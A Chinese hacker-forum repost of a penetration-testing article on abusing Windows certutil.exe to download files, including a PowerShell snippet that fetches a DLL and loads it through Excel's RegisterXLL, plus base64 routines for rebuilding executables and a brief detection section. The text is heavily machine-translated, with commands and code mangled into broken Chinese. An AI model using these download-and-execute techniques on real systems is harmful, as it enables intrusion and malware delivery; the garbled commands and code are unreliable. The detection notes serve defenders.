跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透测试中的certutil


尖REN

推荐的帖子

0x00 前言

最近在凯西smith@分包商的推特上学到了关于certutil的一些利用技巧。本文将结合自己的一些经验,介绍certutil在渗透测试中的应用,对煤矿管理局下下载器的实现方法作补充,总结base64编码转换的常用方法。

学习地址:

https://twitter.com/subTee/status/888101536475344896

https://twitter.com/subTee/status/888071631528235010

0x01 简介

本文将要介绍以下内容:

certutil.exe在渗透测试中的应用

下载器常用方法

base64编码转换常用方法

0x02 certutil简介

用于证书管理

支持xp-win10

更多操作说明见https://TechNet。微软。com/zh-cn/library/cc 755341(v=ws。10)。aspx

注:

在之前的文章《域渗透——EFS文件解密》 有用过certutil.exe导入证书

0x03 渗透测试中的应用

1、downloader

(1) 保存在当前路径,文件名称同统一资源定位器

例如:

certutil.exe-URL缓存-split-f https://raw。githubusercontent。com/3g学生/测试/硕士/版本。文本文件(textfile)

(2) 保存在当前路径,指定保存文件名称

例如:

certutil.exe-URL缓存-split-f https://raw。githubusercontent。com/3g学生/测试/硕士/版本。txt文件。文本文件(textfile)

(3) 保存在缓存目录,名称随机

缓存目录位置:% user profile % \ AppData \ local low \ Microsoft \ CryptnetUrlCache \ Content

例如:

certutil.exe-URL缓存-f https://raw。githubusercontent。com/3g学生/测试/硕士/版本。文本文件(textfile)

(4) 支持保存二进制文件

例如:

certutil.exe-URL缓存-split-f https://raw。githubusercontent。com/3g学生/测试/硕士/msg。动态链接库

注:

使用下载器默认在缓存目录位置:% user profile % \ AppData \ local low \ Microsoft \ CryptnetUrlCache \ Content保存下载的文件副本

清除下载文件副本方法:

方法1:直接删除缓存目录对应文件

如下图

2-1.png

方法2:命令行:

certutil.exe-URL缓存-split-f https://raw。githubusercontent。com/3g学生/测试/硕士/msg。dll删除

补充:

查看缓存项目:

certutil.exe-URL缓存*

如下图

2-2.png

实际测试:

测试系统安装办公室软件,下载执行动态链接库对应的powershell代码如下:

$path='c:\test\msg1.dll '

certutil.exe-URL缓存-split-f https://raw。githubusercontent。com/3g学生/测试/硕士/msg。dll$path

$ Excel=[activator]:create instance([type]:GetTypeFromProgID(' Excel .应用程序'))

$excel .RegisterXLL($path)

测试如下图

2-3.png

2、计算文件hash

(1) SHA1

certutil.exe-哈什菲勒msg.dll

(2) SHA256:

certutil.exe-哈希夫msg.dll沙256

(3) MD5:

certutil.exe哈希文件msg.dll MD5

3、base64编码转换

(1) base64编码:

证书编码内文件输出文件

(2) base64解码

CertUtil-解码内部文件输出文件

注:

编码后的文件会添加两处标识信息:

文件头:

-开始证书-

文件尾:

-结束证书-

如下图

2-4.png

0x04 downloader常用方法

在之前的文章《渗透技巧——通过cmd上传文件的N种方法》 整理过常用的煤矿管理局下下载器方法,相比来说,利用certUtil简便快捷,但是使用后需要注意清除缓存,路径如下:

%用户配置文件% \ AppData \ local low \ Microsoft \ CryptnetUrlCache \ Content

下载器常用方法如下:

certUtil

powershell

乡村基

vbs

JScript

(耐)高温粘结剂(高温粘合剂)

比萨德明

wget

调试

文件传输协议(文件传输协议的缩写)

ftfp

0x05 base64编码转换常用方法

在编写脚本操作二进制文件时,常常会因为不可见字符报错,所以通常会选择先对二进制文件作base64编码再操作,最后通过解码还原出二进制文件。

所以在此整理一下常用不同开发工具对应的base64编码转换方式

1、powershell

base64编码:

$PEBytes=[System .IO。File]:读取所有字节(' C:\ windows \ system32 \ calc。exe’)

$Base64Payload=[System .convert]:转换为base 64字符串($ PE字节)

set-Content base64。txt-Value$base64有效负载

base64解码:

$ base64 bytes=Get-Content(' base64。txt’)

$PEBytes=[System .convert]:从base64字符串(base64字节)

【系统10 . IO。File]:WriteAllBytes(' calc。',$PEBytes)

2、C SHARP(c#)

base64编码:

使用系统。木卫一;

byte[] AsBytes=File .读取所有字节(@ ' C:\ windows \ system32 \ calc。exe’);

String AsBase64String=Convert .转换为base 64字符串(以字节为单位);

StreamWriter SW=new StreamWriter(@ ' C:\ test \ base64。txt’);

西南write(作为base 64字符串);

西南. close();

base64解码:

使用系统。木卫一;

字符串=文件.阅读所有文本(@ ' C:\ test \ base64。txt’);

字节[]字节=转换从base 64字符串(ass字符串)开始;

FileStream fs=new FileStream(@ ' C:\ test \ calc。文件模式.创建);

fs .写入(字节,0,字节。长度);

fs .flush();

fs .close();

注:

在之前的文章《渗透技巧——通过cmd上传文件的N种方法》 存在两处病菌

"解密base64文件并生成可执行程序的扩展名的方法: "

其中的powershell代码和c#代码存在bug,修正的代码以本文为准

3、js

base64解码:

fso1=新建ActiveXObject('脚本.文件系统对象’);

f=fso1 .打开文本文件(' C:\ \ test \ \ base64。txt ',1);

base64 string=f . read all();

f . close();

enc=新的ActiveXObject('System .文字。ascii编码’);

长度=附件.获取bytecount _ 2(base64字符串);

ba=enc .GetBytes _ 4(base64字符串);

transform=新的ActiveX对象(' System .安全。密码学。从基数64变换’);

ba=变换TransformFinalBlock(ba,0,length);

s=新的ActiveXObject('ADODB .stream’);

南type=1;

南open();

南写(ba);

南SaveToFile('C:\\test\\calc.exe ',2);

4、certutil

base64编码:

证书编码内文件输出文件

base64解码:

CertUtil-解码内部文件输出文件

注:

编码后的文件会添加两处标识信息:

文件头:

——开始证书——

文件尾:

——结束证书——

0x06 检测downloader

查看利用certUtil下载文件的缓存记录:

certutil.exe-URL缓存*

缓存文件位置:

%用户配置文件% \ AppData \ local low \ Microsoft \ CryptnetUrlCache \ Content

0x07 小结

本文介绍了certutil在渗透测试中的应用,详细介绍利用certutil作下载器的实现方法和检测方法,最后总结了base64编码转换的常用方法。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...